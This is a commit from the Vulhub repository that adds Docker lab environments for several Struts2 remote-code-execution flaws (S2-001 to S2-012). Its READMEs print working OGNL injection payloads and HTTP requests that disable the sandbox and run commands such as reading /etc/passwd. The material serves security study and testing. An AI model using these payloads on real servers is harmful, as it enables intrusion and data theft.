first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

1
struts2/README.md Normal file
View File

@@ -0,0 +1 @@
# Struts2 Series Command Execution Vulnerable Environments

BIN
struts2/s2-001/1.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 381 KiB

10
struts2/s2-001/Dockerfile Normal file
View File

@@ -0,0 +1,10 @@
FROM vulhub/tomcat:8.5
LABEL maintainer="phithon <root@leavesongs.com>"
RUN set -ex \
&& rm -rf /usr/local/tomcat/webapps/* \
&& chmod a+x /usr/local/tomcat/bin/*.sh
COPY S2-001.war /usr/local/tomcat/webapps/ROOT.war
EXPOSE 8080

40
struts2/s2-001/README.md Normal file
View File

@@ -0,0 +1,40 @@
# S2-001 Remote Code Execution Vulnerability
[中文版本(Chinese version)](README.zh-cn.md)
## Reference link
[http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html](http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html)
> The vulnerability is that when the user submits the form data and the validation fails, the server parses the parameter values previously submitted by the user with the OGNL expression `%{value}` and repopulates the corresponding form data.For example, in the registration or login page. When submit fail, server will generally return the previously submitted data by default. Since the server uses `%{value}` to execute an OGNL expression parsing on the submitted data, it can send payload directly to execute command.
## Environment setup
Run the following commands to setup
```
docker compose build
docker compose up -d
```
## POC && EXP
Get the tomcat path:
```
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
```
Get the web site real path:
```
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
```
Execute command (command with parameter:`new java.lang.String[]{"cat","/etc/passwd"}`):
```
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
```
![](1.jpeg)

View File

@@ -0,0 +1,38 @@
# S2-001 远程代码执行漏洞
## 原理
参考 [http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html](http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html)
> 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
## 环境
执行以下命令启动s2-001测试环境
```
docker compose build
docker compose up -d
```
## POC && EXP
获取tomcat执行路径
```
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
```
获取Web路径
```
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
```
执行任意命令(命令加参数:`new java.lang.String[]{"cat","/etc/passwd"}`
```
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
```
![](1.jpeg)

BIN
struts2/s2-001/S2-001.war Normal file

Binary file not shown.

View File

@@ -0,0 +1,6 @@
version: '2'
services:
struts2:
build: .
ports:
- "8080:8080"

BIN
struts2/s2-005/1.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 294 KiB

10
struts2/s2-005/Dockerfile Normal file
View File

@@ -0,0 +1,10 @@
FROM vulhub/tomcat:8.5
LABEL maintainer="phithon <root@leavesongs.com>"
RUN set -ex \
&& rm -rf /usr/local/tomcat/webapps/* \
&& chmod a+x /usr/local/tomcat/bin/*.sh
COPY S2-005.war /usr/local/tomcat/webapps/ROOT.war
EXPOSE 8080

74
struts2/s2-005/README.md Normal file
View File

@@ -0,0 +1,74 @@
# S2-005 Remote Code Execution Vulnerability
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: 2.0.0 - 2.1.8.1
Details: http://struts.apache.org/docs/s2-005.html
## Reference
Refer 《White hat speaking Web Security》 by Wu Hanqing (Author)
> s2-005 is a vulnerability which originating from S2-003(version: < 2.0.12), This behavior has been filtered in S2-003, but it turned out that the resulting fix based on whitelisting acceptable parameter names closed the vulnerability only partially.
XWork will parse the keys and values of the GET parameter into Java statements using OGNL expressions, such as:
```
user.address.city=Bishkek&user['favoriteDrink']=kumys
//It will be converted to
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
```
Process follows:
- In S2-003 Use `\u0023` to bypass struts2's filter `#`
- After S2-003 struts2 added security mode (sandbox)
- In S2-005 Use the OGNL expression to close the security mode and bypass again
## Setup
Run the following commands to start the environment
```
docker compose build
docker compose up -d
```
## POC && EXP
### Remote code execution POC (don't have display echo, use `@` instead space)
```
GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1
Host: target:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36
```
Some others POC will return 400 in tomcat8.Because the characters `\`, `"` can't be placed directly in the path, we need urlencode it before send.
This POC don't have display, used OGNL's Expression Evaluation:
![](1.jpeg)
`(aaa)(bbb)`, `aaa` is used as the OGNL expression string, and `bbb` is the root object of the expression. Therefore, if we needs to execute code like `aaa`, it needs to be wrapped in quotation marks, and the `bbb` position can directly place the Java statement. `(aaa)(bbb)=true` is actually `aaa=true`.
However, how to understand exactly, it needs further research and to be optimized. Hope someone can write a POC that can display echo.
### Remote code execution POC (have display echo, command need urlencode)
```
POST /example/HelloWorld.action HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)
Host: target:8080
Content-Length: 626
redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
```
![](s2-005-3.png)
![](s2-005-4.png)

View File

@@ -0,0 +1,72 @@
# S2-005 远程代码执行漏洞
影响版本: 2.0.0 - 2.1.8.1
漏洞详情: http://struts.apache.org/docs/s2-005.html
## 原理
参考吴翰清的《白帽子讲Web安全》一书。
> s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12)struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象struts框架通过过滤#字符防止安全问题然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制对于S2-003漏洞官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补但是安全配置被绕过再次导致了漏洞攻击者可以利用OGNL表达式将这2个选项打开S2-003的修补方案把自己上了一个锁但是把锁钥匙给插在了锁头上
XWork会将GET参数的键和值利用OGNL表达式解析成Java语句
```
user.address.city=Bishkek&user['favoriteDrink']=kumys
//会被转化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
```
触发漏洞就是利用了这个点再配合OGNL的沙盒绕过方法组成了S2-003。官方对003的修复方法是增加了安全模式沙盒S2-005在OGNL表达式中将安全模式关闭又绕过了修复方法。整体过程如下
- S2-003 使用`\u0023`绕过s2对`#`的防御
- S2-003 后官方增加了安全模式(沙盒)
- S2-005 使用OGNL表达式将沙盒关闭继续执行代码
## 环境
执行以下命令启动s2-001测试环境
```
docker compose build
docker compose up -d
```
## POC && EXP
### 执行任意命令POC无回显空格用`@`代替)
```
GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1
Host: target:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36
```
网上一些POC放到tomcat8下会返回400研究了一下发现字符`\``"`不能直接放path里需要urlencode编码以后再发送就好了。这个POC没回显。
POC用到了OGNL的Expression Evaluation
![](1.jpeg)
大概可以理解为,`(aaa)(bbb)`中aaa作为OGNL表达式字符串bbb作为该表达式的root对象所以一般aaa位置如果需要执行代码需要用引号包裹起来而bbb位置可以直接放置Java语句。`(aaa)(bbb)=true`实际上就是`aaa=true`。不过确切怎么理解,还需要深入研究,有待优化。
期待大佬研究出有回显的POC。
### 执行任意命令POC有回显将需要执行的命令进行urlencode编码
```
POST /example/HelloWorld.action HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)
Host: target:8080
Content-Length: 626
redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
```
![](s2-005-3.png)
![](s2-005-4.png)

BIN
struts2/s2-005/S2-005.war Normal file

Binary file not shown.

View File

@@ -0,0 +1,6 @@
version: '2'
services:
struts2:
build: .
ports:
- "8080:8080"

BIN
struts2/s2-005/s2-005-3.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 173 KiB

BIN
struts2/s2-005/s2-005-4.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 146 KiB

BIN
struts2/s2-007/1.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 87 KiB

10
struts2/s2-007/Dockerfile Normal file
View File

@@ -0,0 +1,10 @@
FROM vulhub/tomcat:8.5
LABEL maintainer="phithon <root@leavesongs.com>"
RUN set -ex \
&& rm -rf /usr/local/tomcat/webapps/* \
&& chmod a+x /usr/local/tomcat/bin/*.sh
COPY S2-007.war /usr/local/tomcat/webapps/ROOT.war
EXPOSE 8080

69
struts2/s2-007/README.md Normal file
View File

@@ -0,0 +1,69 @@
# S2-007 Remote Code Execution Vulnerablity
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: 2.0.0 - 2.2.3
Details: http://struts.apache.org/docs/s2-007.html
## Reference
http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html
When `<ActionName> -validation.xml` configured validation rules. If the type validation conversion fails, the server will splice the user-submitted form value strings, then performing an OGNL expression parsing and returning.
For example here is a `UserAction`:
```java
(...)
public class UserAction extends ActionSupport {
private Integer age;
private String name;
private String email;
(...)
```
And `UserAction-validation.xml` configuration:
```xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
"-//OpenSymphony Group//XWork Validator 1.0//EN"
"http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
<field name="age">
<field-validator type="int">
<param name="min">1</param>
<param name="max">150</param>
</field-validator>
</field>
</validators>
```
When the user submits `age` as a `str` instead of an `int`, the server splices `"'" + value + "'"` with the code and then use the OGNL expression parse it. To make a successful expliot, we need find a form field configured with similar validation rules to make a conversion error. And then you can inject any OGNL expression code by the way just like SQL single quotes injected.
Payload which bypass the securely configured:
```
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app")) + '
```
## Setup
```
docker compose build
docker compose up -d
```
## Exploit
Here is the EXP that can execute arbitrary code:
```
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
```
Put EXP into the input box (age), then get the command execution result:
![](1.jpeg)

View File

@@ -0,0 +1,64 @@
# S2-007 远程代码执行漏洞
影响版本: 2.0.0 - 2.2.3
漏洞详情: http://struts.apache.org/docs/s2-007.html
## 测试环境搭建
```
docker compose build
docker compose up -d
```
## 原理
参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html
当配置了验证规则 `<ActionName>-validation.xml` 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。例如这里有一个 UserAction
```java
(...)
public class UserAction extends ActionSupport {
private Integer age;
private String name;
private String email;
(...)
```
然后配置有 UserAction-validation.xml
```xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
"-//OpenSymphony Group//XWork Validator 1.0//EN"
"http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
<field name="age">
<field-validator type="int">
<param name="min">1</param>
<param name="max">150</param>
</field-validator>
</field>
</validators>
```
当用户提交 age 为字符串而非整形数值时,后端用代码拼接 `"'" + value + "'"` 然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。
因为受影响版本为 Struts2 2.0.0 - Struts2 2.2.3,所以这里给出绕过安全配置进行命令执行的 Payload**弹计算器,无法在本项目环境下运行**
```
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app")) + '
```
## Exploit
@rickgray 在原文中只给了弹计算器的POC我给出执行任意代码的EXP
```
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
```
将Exp传入可以利用的输入框age得到命令执行结果
![](1.jpeg)

BIN
struts2/s2-007/S2-007.war Normal file

Binary file not shown.

View File

@@ -0,0 +1,6 @@
version: '2'
services:
struts2:
build: .
ports:
- "8080:8080"

10
struts2/s2-008/Dockerfile Normal file
View File

@@ -0,0 +1,10 @@
FROM vulhub/tomcat:8.5
LABEL maintainer="phithon <root@leavesongs.com>"
RUN set -ex \
&& rm -rf /usr/local/tomcat/webapps/* \
&& chmod a+x /usr/local/tomcat/bin/*.sh
COPY S2-008.war /usr/local/tomcat/webapps/ROOT.war
EXPOSE 8080

26
struts2/s2-008/README.md Normal file
View File

@@ -0,0 +1,26 @@
# S2-008 Remote Code Execution Vulnerablity
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: 2.1.0 - 2.3.1
Details: http://struts.apache.org/docs/s2-008.html
## Setup
```
docker compose build
docker compose up -d
```
## Reference
http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html
> S2-008 involves multiple vulnerabilities. Cookie interceptor configuration problem can cause OGNL expressions execute, but most web containers (such as Tomcat) have character restrictions for cookie names, some key characters cannot be used. Another point is that if the struts2 turn on `devMode` mode, there are multiple debug interfaces that can directly view object information or execute commands. As Kxlzx(author) mentions, this situation is almost impossible in the real environment. So it becomes It's very useless, but I don't think it's absolute. It's possible to hack a struts2 application that turn on `debug` mode on the server as a backdoor.
For example, adding the parameter `?debug=command&expression=<OGNL EXP>` in `devMode` mode, OGNL expression will be executed directly and you can execute the command:
```
http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)
```

View File

@@ -0,0 +1,24 @@
# S2-008 远程代码执行漏洞
影响版本: 2.1.0 - 2.3.1
漏洞详情: http://struts.apache.org/docs/s2-008.html
## 测试环境搭建
```
docker compose build
docker compose up -d
```
## 原理
参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html
> S2-008 涉及多个漏洞Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。
例如在 devMode 模式下直接添加参数`?debug=command&expression=<OGNL EXP>`,会直接执行后面的 OGNL 表达式,因此可以直接执行命令(注意转义):
```
http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)
```

BIN
struts2/s2-008/S2-008.war Normal file

Binary file not shown.

View File

@@ -0,0 +1,6 @@
version: '2'
services:
struts2:
build: .
ports:
- "8080:8080"

BIN
struts2/s2-009/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 44 KiB

10
struts2/s2-009/Dockerfile Normal file
View File

@@ -0,0 +1,10 @@
FROM vulhub/tomcat:8.5
LABEL maintainer="phithon <root@leavesongs.com>"
RUN set -ex \
&& rm -rf /usr/local/tomcat/webapps/* \
&& chmod a+x /usr/local/tomcat/bin/*.sh
COPY S2-009.war /usr/local/tomcat/webapps/ROOT.war
EXPOSE 8080

84
struts2/s2-009/README.md Normal file
View File

@@ -0,0 +1,84 @@
# S2-009 Remote Code Execution Vulnerablity
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: 2.1.0 - 2.3.1.1
Details: http://struts.apache.org/docs/s2-009.html
## Setup
```
docker compose build
docker compose up -d
```
## Reference
> This vulnerability is derived from s2-003, s2-005. If you want to understand the principle of the vulnerability, you need to read the instructions of s2-005: https://github.com/phith0n/vulhub/blob/master/struts2/s2-005/README.md
[Struts2 vulnerability analysis](https://www.t00ls.net/viewthread.php?tid=21197), as mentioned in the article, the method of introducing OGNL may not only appear in this vulnerability, but may also appear in other Java applications.
Struts2's repair method for s2-003 is to prohibit static method calls. In s2-005, this restriction can be bypassed directly through OGNL. For the `#` number, use the code `\u0023` or `\43` to bypass; then s2-005's repair is forbidden \ and others special symbols that prevent users submit backslashes.
However, if a parameter `example` is accepted in the current action, this parameter will be sent to the OGNL expression. So, we can put the OGNL expression code in the `example` parameter and then execute it by `/helloword.acton?example=<OGNL statement>&(example)('xxx')=1`, then bypass defense of special characters such as `#`, `\`.
## Exploit
The environment is a struts2 "feature display" website named `Struts Showcase`. We need find an action that accepts the parameter, and type is string.
First decompress `S2-009.war`. We can see that source code is in the `WEB-INF/src` directory, I generally look for ajax related code.
Found one in`WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java`:
```java
public class Example5Action extends ActionSupport {
private static final long serialVersionUID = 2111967621952300611L;
private String name;
private Integer age;
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public Integer getAge() { return age; }
public void setAge(Integer age) { this.age = age; }
@Override
public String execute() throws Exception {
return SUCCESS;
}
}
```
The code is simple, it accepts the name parameter and calls setName to assign it to the private property `this.name`, which is in line with our requirement. Then we go to `WEB-INF/src/java/struts-ajax.xml` to see the URL routing setting:
```xml
<package name="ajax" extends="struts-default">
...
<action name="example5" class="org.apache.struts2.showcase.ajax.Example5Action">
<result name="input">/ajax/tabbedpanel/example5.jsp</result>
<result>/ajax/tabbedpanel/example5Ok.jsp</result>
</action>
...
</package>
```
We can see `name=example5`, so access the controller by visiting `http://your-ip:8080/ajax/example5.action`. Then put the OGNL exploit code in the name parameter and access the URL:
```
GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1
Host: localhost:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
```
The POC don't have display, so we use `touch /tmp/success` command, and we found that the `success` file has been created to prove that expliot succeeded.
![](1.png)

View File

@@ -0,0 +1,84 @@
# S2-009 远程代码执行漏洞
影响版本: 2.1.0 - 2.3.1.1
漏洞详情: http://struts.apache.org/docs/s2-009.html
## 测试环境搭建
```
docker compose build
docker compose up -d
```
## 原理
> 前置阅读: 这个漏洞再次来源于s2-003、s2-005。了解该漏洞原理需要先阅读s2-005的说明https://github.com/phith0n/vulhub/blob/master/struts2/s2-005/README.md
参考[Struts2漏洞分析之Ognl表达式特性引发的新思路](https://www.t00ls.net/viewthread.php?tid=21197)文中说到该引入ognl的方法不光可能出现在这个漏洞中也可能出现在其他java应用中。
Struts2对s2-003的修复方法是禁止静态方法调用在s2-005中可直接通过OGNL绕过该限制对于`#`号,同样使用编码`\u0023``\43`进行绕过于是Struts2对s2-005的修复方法是禁止`\`等特殊符号,使用户不能提交反斜线。
但是如果当前action中接受了某个参数`example`这个参数将进入OGNL的上下文。所以我们可以将OGNL表达式放在`example`参数中,然后使用`/helloword.acton?example=<OGNL statement>&(example)('xxx')=1`的方法来执行它,从而绕过官方对`#``\`等特殊字符的防御。
## Exploit构造
测试环境是一个struts2的“功能展示”网站`Struts Showcase`代码很多我们的目标是去找一个接受了参数参数类型是string的action。
先对`S2-009.war`进行解压我用binwalk其实直接zip就可以可见源码都在`WEB-INF/src`目录中我一般找ajax相关的代码这些代码一般逻辑比较简单。
找到一个`WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java`
```java
public class Example5Action extends ActionSupport {
private static final long serialVersionUID = 2111967621952300611L;
private String name;
private Integer age;
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public Integer getAge() { return age; }
public void setAge(Integer age) { this.age = age; }
@Override
public String execute() throws Exception {
return SUCCESS;
}
}
```
代码没有更简单了其接受了name参数并调用setName将其赋值给私有属性`this.name`,正是符合我们的要求。然后去`WEB-INF/src/java/struts-ajax.xml`看一下URL路由
```xml
<package name="ajax" extends="struts-default">
...
<action name="example5" class="org.apache.struts2.showcase.ajax.Example5Action">
<result name="input">/ajax/tabbedpanel/example5.jsp</result>
<result>/ajax/tabbedpanel/example5Ok.jsp</result>
</action>
...
</package>
```
`name=example5`,所以访问`http://your-ip:8080/ajax/example5.action`即可访问该控制器。按照原理中说到的方法将OGNL利用代码放在name参数里访问该URL
```
GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1
Host: localhost:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
```
由于该POC没有回显所以调用的是`touch /tmp/success`命令,查看/tmp目录发现已经成功
![](1.png)
黑盒情况下,这个洞也不是限制特别大。只要你在正常业务中找到传参的地方,就用该参数名可以试试。

BIN
struts2/s2-009/S2-009.war Normal file

Binary file not shown.

View File

@@ -0,0 +1,6 @@
version: '2'
services:
struts2:
build: .
ports:
- "8080:8080"

BIN
struts2/s2-012/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 71 KiB

10
struts2/s2-012/Dockerfile Normal file
View File

@@ -0,0 +1,10 @@
FROM vulhub/tomcat:8.5
LABEL maintainer="phithon <root@leavesongs.com>"
RUN set -ex \
&& rm -rf /usr/local/tomcat/webapps/* \
&& chmod a+x /usr/local/tomcat/bin/*.sh
COPY S2-012.war /usr/local/tomcat/webapps/ROOT.war
EXPOSE 8080

42
struts2/s2-012/README.md Normal file
View File

@@ -0,0 +1,42 @@
# S2-012 Remote Code Execution Vulnerablity
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: 2.1.0 - 2.3.13
Details: http://struts.apache.org/docs/s2-012.html
## Reference
If the redirect type is used when configuring `result` in the `action`, and ${param_name} is also used as the redirect variable, for example:
```xml
<package name="S2-012" extends="struts-default">
<action name="user" class="com.demo.action.UserAction">
<result name="redirect" type="redirect">/index.jsp?name=${name}</result>
<result name="input">/index.jsp</result>
<result name="success">/index.jsp</result>
</action>
</package>
```
During the redirection process, struts2 performs an OGNL expression parsing on the value of the `name` parameter, so that OGNL expression can be inserted to cause the command execution.
## Setup
```
docker compose build
docker compose up -d
```
## Exploit
We can use s2-001's POC directly:
```
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
```
Result
![](1.png)

View File

@@ -0,0 +1,40 @@
# S2-012 远程代码执行漏洞
影响版本: 2.1.0 - 2.3.13
漏洞详情: http://struts.apache.org/docs/s2-012.html
## 测试环境搭建
```
docker compose build
docker compose up -d
```
## 原理
如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:
```xml
<package name="S2-012" extends="struts-default">
<action name="user" class="com.demo.action.UserAction">
<result name="redirect" type="redirect">/index.jsp?name=${name}</result>
<result name="input">/index.jsp</result>
<result name="success">/index.jsp</result>
</action>
</package>
```
这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。
## Exp
可以直接祭出s2-001中的回显POC因为这里是没有沙盒也没有限制任何特殊字符为什么
```
